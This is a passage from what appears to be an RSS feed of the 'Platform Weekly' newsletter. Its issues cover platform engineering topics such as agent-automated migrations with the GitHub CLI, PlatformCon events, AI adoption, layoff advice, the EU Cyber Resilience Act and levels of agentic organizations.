CI vendor to negotiate a better rate. \nHowever, actually automating those migrations, and not needing to send thousands of chaser emails and juggle spreadsheets is something platform teams have only dreamed of. There have been no real mainstream tools making it out of university campuses or big tech to help us here. \nBut, maybe not anymore? \nWith agents, it feels there is light at the end of this \u2018automated migrations\u2019 tunnel. Agents represent a leap from individual productivity to autonomy that has finally broken us out of the \u2018one developer steering a single AI\u2019 paradigm. We now have \u2018background\u2019 and/or \u2018async\u2019 agents that we can delegate to, and that means a new frontier we\u2019ve unlocked is that of migrations. \nEven if we take a simple coding agent like Claude Code, or Cursor with only the GitHub CLI, large parts of a migration can already be automated. \nFor instance: \n\n\nDiscovery and planning: If you give your agents search tools like gh search, we can ask our agent to search our entire codebase and filter out stale repositories using git history. Creating a CSV is simple for an agent that can be imported into a spreadsheet to track. The agent can even use gh issue create to create the migration issues, and with git history can find the developers or teams to assign the tickets to. \n\nExecution and feedback: Then, we can instruct and prompt an agent to pick up an issue with gh issue view to pull context and apply changes. When the coding is done we have gh pr create that we can use to open PRs and get human feedback. The agent can even pick up and address the comments using gh pr view --comments. \n\nValidation and rollout: To ensure that our changes work, build and lint correctly we can also programmatically read our continuous integration logs with: gh run view to iteratively fix build issues until our pull requests are green. \nEven with this simple, still somewhat manual approach, what would have taken weeks or months is now significantly compressed. You can see how adding sandboxing for isolating agents, orchestration to scale and triggers to respond to events like pull request comments gives us highly potent technology to rip through organization-wide migration projects.\nOf course, there are hurdles like securing agent executions, breaking down migrations into small steps, and the ecosystem catching up to provide high-quality MCP or CLIs for tools like issue trackers and continuous integration. But that being said: the foundational technologies are here. It\u2019s now more a discussion of how best to package these up and we might just be witnessing the \u2018sword being pulled from the stone\u2019 on large-scale automated migrations.\nSoon, everyday platform teams with modest budgets will have their own automated migration tools. Of course, agents aren't magic; they struggle with contextual business logic and require guardrails. Additionally, the market of tools for agent-powered migrations is nascent. That said, platform teams can and should start to explore and experiment so they have the right foundations in place to take advantage of these tools that are on the horizon. \nI\u2019ve already been working with customers on automated large-scale migrations by leveraging orchestrated background agents for use cases like CVE remediation, Java migrations, and keeping code aligned to standards. This feels like sci-fi even as I write it, but this interview with Matt and Chris on the Scaling DevTools podcast goes deeper into how it actually works orchestrating coding agents even in highly secure and regulated companies.\nScience fiction just became a lot less fiction and it\u2019s awesome to be a part of it.]]>\n  \n  Mon, 24 Nov 2025 00:00:00 GMT\n\n\n  This is how to become a platform engineer\n  https://platformweekly.com/issues/this-is-how-to-become-a-platform-engineer\n  https://platformweekly.com/issues/this-is-how-to-become-a-platform-engineer\n  \n  \nHey there! This is Platform Weekly, your weekly journey into the fiery core of the platform engineering world. Every week I break down key topics in the platform engineering universe.\nThis is how to become a platform engineer\nIn the next few weeks, the platform engineering community will launch one of the first ever platform engineering courses and certification tracks. It is the topic I think I have been asked about the most over the last 3 years. Across live events, Slack, and replies to this newsletter - I get asked almost every day. \n\u201cHow can I become a platform engineer? And do you have courses?\u201d\nIt\u2019s no wonder that this question is on everyone's mind. Community events like PlatformCon have grown from 10k attendees to 35k attendees in just 3 years, the Slack community has exploded in size and activity, and research shows that Platform Engineers can earn up to 42.5% more than DevOps. Hell, my article \u201cHow to Become a Platform Engineer\u201d sat at the top of trending on The New Stack for weeks\u2026\nSo, that brings us to the question. What does it mean to be a platform engineer, and how do you become one?\nFirst, understand what that actually means. It\u2019s not as simple as just changing your job title on LinkedIn from \u201cDevOps engineer\u201d to \u201cplatform engineer\u201d. Platform engineers build and run their companies' Internal Developer Platform, and think beyond the idea of just tech and tools, to operate with a platform as a product mindset that sees their developers as customers.\nIf you want to be a successful platform engineer, you need to ask yourself:\n\n\nHow will you do user research to deliver something that solves real pain points?\n\nHow do you define golden paths that developers will love, so as to help ensure a high adoption rate for your platform?\n\nHow do you find the right level of abstraction that lowers cognitive load for developers without removing all the context?\n\nHow will you market the platform to all relevant stakeholders? How will you organize stakeholder buy-in to gain funding for your platform engineering initiative?\n\nWill you start with a minimum viable platform (MVP)? Or plan a really large initiative to cover all eventualities, even though it will probably take years to build?\nMost Ops professionals don\u2019t ask themselves these questions. But this is exactly what you need to know if you want to be a platform engineer.\nSo, you\u2019ve read all this and aren\u2019t scared off? Let\u2019s get started!\nI\u2019d recommend registering for PlatformCon (ofc), and starting with my TNS article. Then watch this content on the community youtube channel or if you want to jumpstart all this, join the waiting list on the Platform Engineering website.\nQuick bites\n\u200dArticles that blew me away: \n\n\nDevEx is not DevOps: Reduce barriers to CD with developer enablement\nFrom the community:\n\n\nHave a platform engineering question for Kelsey Hightower? Ask here!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  It's official: VMware doesn't care about you\n  https://platformweekly.com/issues/its-official-vmware-doesnt-care-about-you\n  https://platformweekly.com/issues/its-official-vmware-doesnt-care-about-you\n  \n  \nHey there! This is Platform Weekly, your weekly sip of platform engineering tea\ud83e\uded6\nIt's official: VMware doesn't care about you\nAs Broadcom VMware hammers customers with new changes in the mistaken belief they can\u2019t escape the lock-in, platform engineering and modular Internal Developers offer an escape route\ud83d\udd25\nJust a few months ago, Forrester predicted that 20% of all VMware customers would leave this year. It seems like Broadcom is trying to speedrun that stat. After buying VMware for $61 billion, and announcing their intent to \u201cfocus on their core 600 customers\u201d AND \u201cdouble earnings in the next 5 years\u201d, VMware has since dropped almost 50 products, removed permanent licenses, switched customers to subscriptions, and from the conversations i\u2019ve been having with customers - hit people with estimated 600-1000% price increases.\nThat sure is a lot of pain in a short time\u2026 Clearly Broadcom is counting on one thing, and if you\u2019ve much experience with VMware, you have experienced the impact of that lock-in. It\u2019s never been easy to exit the VMware ecosystem, but there has also never been much reason to.\nUntil now - on both counts.\nIn the last week, I helped publish a whitepaper that clearly breaks down how you can use platform engineering and a modular Internal Developer Platform to exit the VMware ecosystem. Specifically in three main cases:\n\n\nYou\u2019re using Tanzu as the K8s dial tone. Tanzu Kubernetes Grid (TKG) might run on VMware or any cloud provider. \n\nYou are using Tanzu Application Service (TAS), the former Pivotal Cloud Foundry (PCF ). You are running on VMware or any cloud provider.\n\nCase 3: You are using Tanzu Application Platform (TAP) and you are deeply integrated with all special capabilities that VMware has built into it like Mission Control or Wavefront.\nEach has varying degrees of challenge, but in each case platform engineering offers a clear, simple and tested solution.\nWhether you\u2019re looking to escape VMware yourself, or not.\nThe work in this whitepaper shows what I\u2019ve believed for a long time. Platform engineering has the power to radically reshape the current landscape.\nAnd to think we\u2019re just getting started.\nQuick bites\nArticles that blew me away: \n\n\nBroadcom\u2019s VMware Overhaul Draws Attention of CIOs\nFrom the community:\n\n\nHelp the Community better for all of us!]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  3 reasons AI needs platform engineering \n  https://platformweekly.com/issues/3-reasons-ai-needs-platform-engineering\n  https://platformweekly.com/issues/3-reasons-ai-needs-platform-engineering\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly scuba through the platform engineering reef. Every week, we dive into best practices, news, lessons and updates from the platform engineering community.\nBut first\u2026 this Platform Weekly is partnering with Jellyfish, the Intelligence Platform for AI-Integrated Engineering:\nPlatform teams are now the architects of AI transformation. That means getting adoption right, enabling developers, and proving it's working.\nJellyfish analyzed 20 million pull requests across 200K developers at 700+ companies to find out what actually drives results. Top AI adopters are seeing 2x the PR throughput. But most teams are leaving a lot on the table.\n\n\nExplore their AI Engineering Trends report and benchmark your org against real-world data.\n\nNot sure how to build the foundation that makes AI scale safely and consistently? They have a guide that covers exactly that.\n\nNeed to show leadership it's working? Request an AI Impact demo from them.\n3 reasons AI needs platform engineering\nIf you\u2019ve read anything from me or the wider community in the last 6 months you\u2019ve probably heard \u201cPlatform engineering is fundamental to the success of AI\u201d best exemplified by the famous Google Cloud stat where \u201c86% of leaders believe that platform engineering is essential to realizing the full business value of AI\u201d. \nThis idea has been on my mind for awhile now, but spread like wildfire across the industry with the publishing of the State of AI in Platform Engineering Vol.1 and the 2026 DORA report.\nWhat exactly does it mean when we say that? Let me break down 3 key reasons for it.\nPlatform engineering is the key (accidentally)\nYou don\u2019t need me to tell you the benefits of AI. The ability to enable engineers to massively supercharge the creation of software, or to autonomously create software itself. It\u2019s only possible to do this however if your security, your governance, your CI/CD, your testing, and all the other aspects of your software engineering organization are actually able to keep up with it.\nIt can only work if your team is locked in on making sure productivity is being properly measured, and if DevEx experience is actually being taken care of.\nAnd guess what? These are all key elements of platform engineering.\nThere are 12 table stakes that define all successful platform engineering initiatives. If you talk to a mature platform team - there is a 99.99% chance that they cover these 12 points.\nThese are things like platform as a product, infra automation, testing, API management, observability, cost management etc. ALL platforms should have these.\nAnd so it\u2019s no surprise that orgs with platforms are the ones who are able to deliver the incredible value that AI promises - as AI needs all of these things to succeed.\nFrom multicloud to\u2026 multiAI (infra)\nAI systems depend on extremely complex, rapidly evolving infrastructure stacks including models, data pipelines, GPU compute, storage, and cloud environments. \nIn the same principle as how your platform might enable multi-cloud, platform teams can build their AI infra as modular, building blocks covering compute, storage, networking, GPUs, and AI services. Devs are exposed through an abstraction layer in the IDP where they teams swap or integrate components without redesigning the entire stack. Your platform could enable teams to:\n\n\nSwitch AI providers or models as capabilities or needs change\n\nUse different GPU resources or orchestrators depending on cost or performance\n\nIntegrate new data sources or vector databases without rebuilding pipelines\n\nRun workloads across hybrid and multi-cloud environments\nYou can see immediately how this could drive an orgs capability. What if a new model from Anthropic is 10x better, cheaper or faster than an OpenAI or Google one? Just swap it. Does a new set of GPU resources cost 10% less? Then swap it. This kind of immediate hands-on freedom is a massive massive unlock.\nEveryone becomes a developer\nAt a round table 10 months ago, a Head of Platform at a major US retailer told me \u201cWe are on the path to any office worker in the company spinning up their own specialized micro-apps through the platform\u201d. The words of the conversation sounded basically sci fi, but as we talked through the platform engineering principles that would enable it - I knew exactly how it could be done. And how platform engineering was perfect for it.\nNow\u2026 almost every second conversation I\u2019m having is sharing that this is the path they\u2019re on.\nWe have entered the age of the Enterprise Citizen Developer, where non-developer colleagues can use AI to vibe code their own specialised microapplications. One conversation 2 weeks ago, \u201cOur CEO himself has coded out 17 micro-apps through the platform. Stuff he has always wanted to use for his own work, but didn\u2019t think it was worth dev time\u201d. That story is everywhere.\nHow does platform engineering enable this? We\u2019ll go back to point 1 in this newsletter.\nWhat does this idea need? It needs governance, security, policy, cost management, testing, change validation etc etc etc\nThese are all things that platform engineering provides.\nSo what does this mean for you? Well, if you\u2019re a platform engineer\u2026 you\u2019re a lot more important than you think. And if you're trying to get funding, or interest in your platform initiative, your boss might not be seeing the full picture.\nSo, make sure to send this to them;)\nQuick bites\nEvent highlight:\n\n\nHow to benchmark your platform: Quantify your pain (& solve it)\n\nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren\u2019t able to attend? We\u2019re uploading more every day on the community Youtube channel!\n ]]>\n  \n  Thu, 12 Mar 2026 00:00:00 GMT\n\n\n  PlatformCon is going worldwide\n  https://platformweekly.com/issues/platformcon-is-going-worldwide\n  https://platformweekly.com/issues/platformcon-is-going-worldwide\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly flight across the platform engineering globe. Every week, we dive into best practices, news, lessons and updates from the platform engineering community.\nBut first\u2026\n\n\nCheck out our new AI course! It\u2019s an absolute banger. Here is a discount code you can use: pw-350-off\n\nOn Tuesday next week, we\u2019re going to have an awesome conversation with Kelsey Hightower on pragmatic platform engineering for 2026. You can register here!\n\nAnd a great new article on the intersection between platform engineering & vulnerability management. Check it out.\nPlatformCon is going worldwide\nI am extremely excited to announce that PlatformCon is launching Live Days in 2026 in both Sydney, and Sao Paulo!\nIn 2022, Platform first started in the depths of the pandemic with a fully virtual way for 7,000 of us to come together online and discuss this new frontier of platform engineering. Things were murky and vague then. We were still defining (arguing about) terminology, and best practices were entirely theoretical.\nIn 2024, we did our first in-person day with 330 people in London to get a real sense of what it means to talk platform engineering in person. There was an energy there that felt like this sweet release of tension at finally getting to talk in-person about this discipline we\u2019re all so focused on.\nIn 2025, we went bigger. 700 people in London, 500 in Paris, and 450 in New York - not to mention just over 40,000 people joining the virtual content across talks, panels and workshops. It was honestly one of the best weeks of my life. It felt truly like the culmination of years of work and industry growth. No longer were panels about \u201cWhat is platform engineering?\u201d, they were about \u201cHow do we do \u2018great\u2019 platform engineering?\u201d\n2026 is going to be another step change. I\u2019m talking about thousands of platform engineers coming together across:\n\n\nLive Day London on June 23rd\n\nLive Day New York on June 25th\n\nLive Day Paris on September 24th\n\nLive Day Sydney on\u2026 well that we still need to reveal!\n\nLive Day Sao Paulo on November 7th\n\nLive Day\u2026 where next? You let us know;)\nPlatform engineering is at an inflection point in the software universe. More and more data from our own surveys, to DORA, to Google Cloud reveal that platform engineering is the fundamental layer to successful AI. And at the same time, platform engineering has grown to absorb more and more domains, and we discover that the core principles of the discipline drive incredible value in the realms of security, observability, FinOps, data and more.\nThat means there is a greater need than ever for us to come together, debate best practice, learn from each other and take that learning out to the world.\nAnd I'm so grateful to be on this journey with you. Stay tuned for more deets, CfPs, ticket information and everything else. Let\u2019s goooo!!\nEvent highlight:\n\n\nInfra governance for rule breakers: How to make guardrails invisible\nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren\u2019t able to attend? We\u2019re uploading more every day on the community Youtube channel!\n ]]>\n  \n  Fri, 13 Mar 2026 00:00:00 GMT\n\n\n  5 lessons from Nvidia, Kubecon & RSA\n  https://platformweekly.com/issues/5-lessons-from-nvidia-kubecon-and-rsac\n  https://platformweekly.com/issues/5-lessons-from-nvidia-kubecon-and-rsac\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly print of the platform engineering boarding pass. Every week, we dive into best practices, news, lessons, and updates from the platform engineering community.\nP.S. Check out the new open source AI agent harness, AURA. It\u2019s a production-grade runtime + orchestration layer that lets AI agents run as real systems (with workflows, tools, observability, etc.).\n5 lessons from Nvidia, Kubecon & RSAC\nWe\u2019ve had one of the most hectic few weeks in Platform Engineering Community history - 6 in-person events, 5 conferences, and 2 talks across 3 countries.\nIn Amsterdam, I got the chance to take the full temperature of EMEA at our roundtable, workshops, and Exec dinner in Amsterdam. While at the same time, we scouted out the world at Nvidia GTC in San Jose, Qcon in London, RSAC in San Francisco, and SREcon in Seattle. Here are my 5 crucial takeaways from this platform engineering world tour:\nIdentity management is the new perimeter: It couldn\u2019t be better timed to share our latest course on Infrastructure Identity for Platform Engineering. It was clear, diving into the pandemonium of RSAC, the world\u2019s largest cybersecurity conference, that with the explosion of machine-to-machine interactions (API keys, service accounts, AI agents, etc.), NHI management is on the path to top priority\nCognitive load is going up, not down: New survey day (plus anecdotally from dozens of convos over the last 2 weeks), 2/3 of engineers say they are more stressed than 5 years ago with the onset of AI. Overwhelmingly, as AI speeds up throughput through code gen, research, and prototyping, most of those I talked to are just ending up with more parallel work, more unfinished threads, and more decisions per hour - and nowhere near less work. \nThroughput is massively up, but nothing else is: New data confirms that throughput is up 59%+ on average, but only 5% are actually turning that into real delivery improvement. For others, despite higher throughput, they\u2019re seeing more changes failing on main, worse MTTR, and, for the most part, are running faster and faster but staying in the same place.\nThe AI bubble isn\u2019t going anywhere: Each of these 5 conferences focuses on different domains, but to no one's surprise, 95% of what every booth is talking about, every talk is exploring, every Meetup, meeting, and coffee chat is zoomed in on is, of course\u2026 AI. But not the way we used to. Even just 6 months ago, we still dealt overwhelmingly in abstracts and hypotheticals. Now I\u2019ve seen dozens of separate demos of coding agents, watched AI SREs diagnose and remediate issues that would\u2019ve taken hours to otherwise solve, and watched one of the more advanced examples, an agent control plane managing half a dozen agents rebuilding a legacy monolith while the rest of the team focuses on new apps. What made these systems actually work wasn\u2019t just the models; it was the platform scaffolding underneath them - identity, boundaries, and validation. We are moving from the messy middle to build real, long-lasting, and high-powered agentic development. Stay tuned for a lot more from me on this topic.\nEvery layer of AI needs platform engineering: Whether you\u2019re talking about AI-native infrastructure and GPU management with Nvidia, AI SRE best practices in SREcon, or managing a fleet of parallel coding agents at KubeCon\u2026 It\u2019s the teams with platform engineering who are both pushing ahead into new frontiers and actually delivering on the promise of these core AI trends.\nWhat were your takeaways? Reply and let me know.\nQuick bites\n \nHighlight of the week:\n\n\nAURA!! Go check it out.  If you're thinking about how AI actually runs in real environments, not just demos, this is a practical look at where the space is heading (and for some of us, we are already there).\n \nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren\u2019t able to attend? We\u2019re uploading more every day on the community Youtube channel!]]>\n  \n  Mon, 27 Apr 2026 00:00:00 GMT\n\n\n  How to surv(ai)ve\n  https://platformweekly.com/issues/how-to-survive-ai\n  https://platformweekly.com/issues/how-to-survive-ai\n  \n  \nMy advice for surviving layoffs.\nHey there! Welcome to Platform Weekly. Your weekly poach of the platform engineering egg. Every week, we dive into best practices, news, lessons and updates from the platform engineering community.\n\nPlus\u2026 don\u2019t miss House of Kube at Google Next for the first time ever\nMy advice for surviving layoffs.\n \nThis is a more serious and intense Platform Weekly than I have written in a long time. Yesterday, I had dinner with a friend who shared that they had been laid off. The day before, I'd had lunch with two former colleagues, both had been laid off. On Monday, I had a beer with another friend whose entire department had also been laid off.\nAt the same time, I receive emails, Slack and LinkedIn messages every single day from people across our industry looking for jobs, or fearing for their own.\nI am not a life coach, or a therapist, so I will speak only about our universe and what I\u2019ve learned from our 270k-strong community and the dozens of workshops, roundtables, and 100s of leaders that I\u2019ve talked to in the last 6 months.\nThe fundamental point is simple (relatively). You need to be AI-first.\nAs an organization, as a team, a department, but most of all as an individual.\nYou might hate AI, you might resent AI, you might think it\u2019s slop or a fad, or disagree fundamentally whether it\u2019s the future or not, but at the end of the day - to your boss, and their boss, and so on up the chain - it is the most important thing in the world.\nWhat are three things you can do to massively improve your position?\nKnow your story: Platform engineering is a foundational stone of successful AI. The organizations that win this aren't the ones with the best model; they're the ones with the best platform. Models are becoming a commodity. The platform that harnesses them is the differentiator. I live that. I breathe that. I\u2019ve got the data to back it. That is my story. Why might my platform engineering team need to be kept? Because you need us if you want your AI initiatives to succeed. Why should I stay on board? Because you need me to build the Agentic Developer Platform that determines whether your boss's boss\u2019s AI goals succeed. \nPlay the game: Sure, your boss probably has no idea what they're talking about. You probably can't build an agent over the weekend to migrate all your crap off Cobol as they proposed. Or rewrite that legacy monolith into Rust - as background execution at that scale requires platform infrastructure your teams don't have yet. But your response to these \u201cvisionary\u201d ideas can\u2019t just be to scoff and retreat back to tweaking some Terraform modules. The game right now is crazy, ambitious, and often very successful, and sometimes not, experimentation with AI.\nShould you spin up an agent to rewrite that monolith into Rust? Probably not. But you can \u201cNo, but\u2026\u201d your boss on the path of other AI experimentation. You tell your boss, \u201cThat idea we shouldn\u2019t do, but we can try and use AI to map dependencies, generate test coverage, and identify which parts of the monolith are realistic candidates for extraction or rewrite. We can then build agents to validate those changes (and iterate), catch regressions, and enforce some quality, and we can do it in a way that proves out the platform architecture we need to do this safely at scale.\" There are a lot of times we need to say, \u201cno\u201d. But you also need to say \u201cNo, but\u2026\u201d and show you are playing the same game. The \"Probably not\" becomes a platform-maturity argument rather than a practicality one, and the counter-proposal now explicitly connects the experimentation to building the platform architecture\u2026 so you're not just redirecting your boss's idea, you're using it to tell your story.\nUpskill, upskill, upskill: You need to be learning how to operate in this new world. That means understanding how AI changes platform engineering, the fundamentals of evolving to Agentic Developer Platforms, and the core tenets of building and utilizing agents across the SDLC. You need to be AI-native. There are currently three AI-focused courses on the Platform Engineering University, with many more on the way, focused on exactly this. Intro to AI in Platform Engineering, which will give you the story, AI in Platform Engineering, which will help you play the game, and Agentic AI in Platform Engineering, which will ensure you have the skills to operate at the very top of this new frontier. You will be able to tell your boss, \u201cNo, that idea is stupid. But I have a great one you\u2019ll love,\u201d and then actually do it.\nAt the end of the day, layoffs can be completely random. There are no 3 tricks that guarantee you\u2019ll keep a job. \nBut if you fully understand and are focused on these 3 things, there is a very good chance you will do more than just survive in this new frontier; you\u2019ll thrive.\nQuick bites\n \nHighlight of the week:\n\n\nMeet Unify: Governed AI that knows your delivery. Check out our new community format, Platform Engineering Demo, where Community members and partners show off their tools. \n \nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren\u2019t able to attend? We\u2019re uploading more every day on the community YouTube channel!\n ]]>\n  \n  Fri, 10 Apr 2026 00:00:00 GMT\n\n\n  AI agents are your new infra users\n  https://platformweekly.com/issues/ai-agents-are-your-new-infra-users\n  https://platformweekly.com/issues/ai-agents-are-your-new-infra-users\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly slice of platform engineering pie. Every week, we dive into another corner of the platform engineering universe, from industry insights and community news to practical lessons and live demos.\nPlus\u2026 80% (so far) are seeing positive ROI from AI!? We\u2019re at the beginning of our State of AI in Platform Engineering survey. Share where your ROI stands!\n \nThe panel topic at next week's IaCConf has been keeping me up at night. \"Platform Engineering in the Age of AI Teammates. Building platforms when AI agents are the new consumers.\"\nLet\u2019s pause on that for a second. AI agents are the new consumers.\nAlmost every platform engineering decision we've made in the last decade has been for human developers. Just as we began the journey of massively expanding the platform persona to security, observability, and beyond, we need to expand 10x further as soon the majority of platform use will be from AI agents.\nAnd yeah\u2026 it works. Until it doesn\u2019t. We\u2019ve got the speed. But we\u2019ve also get the weird breakage you can\u2019t actually explain. We\u2019ve 10x\u2019d the ability to move fast, and thus 10x the power to break things.\nThe Spacelift team is running IaCConf 2026 on May 14 with exactly this question at the center. 20+ IaC leaders across 13 sessions, including Corey Quinn (\"AI Speaks Terraform Like a Tourist\"), Matt Gowie (\"From IaC to Agents\"), Amin Astaneh (\"10x Velocity, Operational Risk\"), and yours truly on the AI Teammates panel.\n \nThe questions worth your morning:\n\n\nWhen does AI-generated IaC help vs hurt? 10x throughput is real (the gain is parallel agents, not faster individuals). But so is 10x blast radius.\n\n\nWhat replaces Terraform workflows at scale? When agents skip the plan/review step, what catches them?\n\n\nHow do you deploy agents without losing control? Policy-as-code stops being a nice-to-have.\n\n\nWhat does platform engineering look like for non-human users? Spoiler: it isn't a portal;)\n \nHere's the angle I'll be bringing. This is a platform race, not a model race. Platform engineering for AI agents isn't a UX problem. It's a contract problem. Human developers needed ergonomic interfaces, helpful errors, opinionated defaults. Agents need deterministic feedback loops, structured failures, and blast-radius controls baked into the platform itself. The IDP that won the human-dev era doesn't disappear. It evolves into an Agentic Developer Platform (ADP) for the coming autonomous-agent era. Same backbone, new contract.\n \nAnd IaC is the canary. It's where the agent contact surface is most direct, where guardrails are most testable, and where the consequences are most immediate. Get the platform contract right, your throughput multiplies. Get it wrong, you're the disaster girl meme. \nExcept it's 15,000 resources, not 150\n \nRegister now. Virtual, free, and if you're sitting on this question, May 14 is where we dive into some answers!\nQuick bites\nHighlight of the week:\n\n\nHow to watch the watcher: Investigating vulnerability scanner reports 101\nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.\n\n ]]>\n  \n  Fri, 08 May 2026 00:00:00 GMT\n\n\n  EU regulators handed platform teams a gift. Claim it!\n  https://platformweekly.com/issues/eu-regulators-handed-platform-teams-a-gift\n  https://platformweekly.com/issues/eu-regulators-handed-platform-teams-a-gift\n  \n  \n \nHey there! Welcome to Platform Weekly. Your weekly stir of the platform engineering pot. Every week, we round up the best the community has been cooking, with a side of warm takes from your friendly neighborhood host.\nPlus\u2026 we have launched Platform Engineering Consulting (PEC)!! I am super excited to share that we are making it easier for teams to work with us. Check out the website to understand what it\u2019s all about.\nLast week I pinged a bunch of you about an upcoming community webinar on the Cyber Resilience Act and the response\u2026 was basically a shrug. Oof. The wave of regulation tightening through 2026 (CRA, EU AI Act etc) isn't just a hassle for the CISO. It's the single biggest opportunity platform teams have been handed in years, and you're sleeping right through it.\nThe dream world regulators live in is, almost word for word, the dream world a platform team wants to live in. Secure by default. Golden paths. Automated SBOMs. Centralized observability. We've been arguing for this stuff for half a decade! Now it's becoming law.If your company does business in Europe, your platform team has been handed its greatest weapon for securing budget and attention this year.\nNigel Douglas at Cloudsmith (def one of the sharpest people working on supply chain security in the community right now) wrote an awesome piece, and a gave a companion webinar on everything you need to know on the CRA and how platform teams operationalize it. He breaks down a four-part framework for surviving the CRA\u2019s requirements:\n\n\nHardening the golden path: Bake the requirements into the IDP so every new service is compliant from git init. Hardened base image, pre-configured logging, mandatory auth, the works.\n\n\nAutomating the SBOM and dependency chain: Every push generates an updated SBOM. The audit trail goes from a manual nightmare to a byproduct of the pipeline.\n\n\nSelf-service compliance via templates. IaC modules that disable public access, enforce TLS 1.3, prohibit weak defaults by design. Gates that block containers with known-exploited CVEs.\n\n\nIncident response and telemetry: Observability that flags exploit patterns automatically, so the 24-hour reporting window stops being terrifying.\nRead that list again. Every one of those is something a good platform team is already trying to build, or wishes they had cover to build. Now you have the cover.\nNigel calls this compliance becoming \"a byproduct of the developer workflow, not a blocker to it.\" The orgs that figure it out before September 2026 are going to find themselves with faster audits, easier enterprise sales conversations, and the funding they need for their platform dreams. The orgs that don't? They'll be panic-buying tools and building security slop in crunch time at 2am.\nWhat are you waiting for? Take a look at Read Nigel's full breakdown, and start using it\u2019s arguments to pitch your boss.\nQuick bites\n\n\nThe sirens of IT Ops want to drown your platform crew\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.\n ]]>\n  \n  Fri, 22 May 2026 00:00:00 GMT\n\n\n  State of AI in Platform Engineering\n  https://platformweekly.com/issues/state-of-ai-in-platform-engineering-survey\n  https://platformweekly.com/issues/state-of-ai-in-platform-engineering-survey\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly sip of platform engineering grappa. Every week, we round up the best the community has been cooking, with best practices, community updates and news.\nThe maturity growth of AI in platform engineering is like nothing I have ever seen before. It took four years for the conversation in platform engineering to change from \"what is this thing\" to \"here is the specific formula to do it best\". I've watched that change with AI firsthand over the last 6 months.Nothing captures that change better than the community's annual report, The State of AI in Platform Engineering. For one thing, it's not annual anymore. We put out the last one 7 months or so ago. And we're about to put out the next.That's right. Sam and I are currently writing The State of Platform Engineering Vol. 2, and I need your help to finish it. And at the same time you can benchmark where you stand on AI.\nThis was an annual report that has to come out 6 months early, simply because, as I read back Vol.1, it feels like it was published ten years ago. So, what is in this one that just can\u2019t wait 6 more months?\n\n\nA detailed breakdown of the Agentic Development Platform from how to transition your IDP into one, what it does, how it works and how it drives AI ROI across your entire organization (And not just your IT organization;). Basically: How are teams failing with, succeeding with, and getting ROI from agents?\n\nA breakdown of how platform engineering intersects with AI infrastructure, from open source, composable stacks put out by NVIDIA, AMD etc to how GPU economics and management are becoming 1st class problems for your platform\n\nHow to benchmark yourself and your team, and what it really means to be an \"AI-native\" organization. What are the best teams doing, and where is the industry at large?\nWe are asking what teams use AI for, how orgs structure their AI initiative (from security to mandates), how AI identities are managed, how teams are approaching validation, shadow AI, threat risks, cost issues, and of course, throughout, ROI and maturity. This will be the definitive snapshot of where the industry is right now.\nI experienced firsthand a few months ago, where I was walking around feeling like I was absolutely at the forefront of AI, then had dinner with some friends and realized, \"Oh shit, I'm behind. Very behind.\"\nThis is a common trend among so many people that I talk to. Folks suddenly realizing (or not noticing at all\u2026) that they are way behind where the frontrunners are.\nThis report intends to solve that. Help us finish it.\nHighlight of the week\n\n\nTurning software teams agentic; a leadership perspective\nFrom the community\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.\n ]]>\n  \n  Fri, 29 May 2026 00:00:00 GMT\n\n\n  Turning software teams agentic; a leadership perspective\n  https://platformweekly.com/issues/turning-software-teams-agentic-leadership-perspective\n  https://platformweekly.com/issues/turning-software-teams-agentic-leadership-perspective\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly altitude check of platform engineering ambition. Every week, we bring you the sharpest thinking from the community, straight to your inbox.\nPlus\u2026 28.1% of teams (so far) say they are massively struggling with shadow AI. What about you? Answer our State of AI in Platform Engineering survey and let us know!\nHow to become an agentic organization\n5 years ago when I was talking about platform engineering, it was hard to tell whether I was truly ahead of the curve or was the lunatic people kept telling me I was. For the first time in a while, I'm starting to get that feeling every day again. I love it.\nMy friend Ajay Chankramath, CTO at Platform Engineering Consulting and Community Ambassador ran an awesome webinar yesterday on what it actually takes to turn a software organization agentic. Not just walking through our theory of the four levels I broke down a few weeks ago, but the practical leadership decisions that determine whether your org actually climbs them. This is the same type of thing he and the team will be talking about at PlatformCon in a few weeks. If you\u2019re in NYC or LDN, you need to come chat about it.The four levels:\n\n\nLevel 1: Human in the loop\n\nLevel 2: Human on the loop\n\nLevel 3: Humans as orchestrators\n\nLevel 4: Fully autonomous\nSo why does this matter? Well, our data shows that 88% of firms are running AI coding experiments. 5.5% report significant business impact. I\u2019ve said it before. It's not a model problem. It's whether your production systems are designed to capture value at organizational scale.\nThe majority of organizations are at L1 trying to get to L2. The tooling jump from L1 to L2 is truly tiny. What you have to do as a leader to move from L2 to L3 is what organizations are failing at.\nThree bottlenecks we\u2019ve noticed across the 100+ orgs he\u2019s talked to this year:\n\n\nWork dispatch: Your sprint model assumes sequential human work. When agents generate PRs in parallel, you need a proper dispatch path which means clear agent identity, scope definition, and workspace provisioning. Without it, agent work has nowhere to land.\n\n\nValidation loops: Traditional validation is a gate. For agents, it needs to become a loop. Agents iterate through CI, security scans, and policy checks until they pass. Gate-based review at L2 volume will drown your engineering org.\n\n\nRisk governance: Who approved that agent-generated change? Which non-human identity modified that API contract? Without agent-aware audit trails, you can't pass a regulatory audit. That's a current problem, not a future one.\n\n\nLeadership alignment: None of these can be solved by engineering teams working independently. They require executive mandate. Consistency across the org determines whether agents run at scale, or whether you've just rebuilt tool sprawl with a language model on top.\nGovernance enables velocity. It doesn't restrict it. That's the operating principle you need to keep coming back to, and what distinguishes L3 organizations from the rest.\nThere is a reason we keep banging on about it. We're talking about operationalizing AI agents. It's the governance and 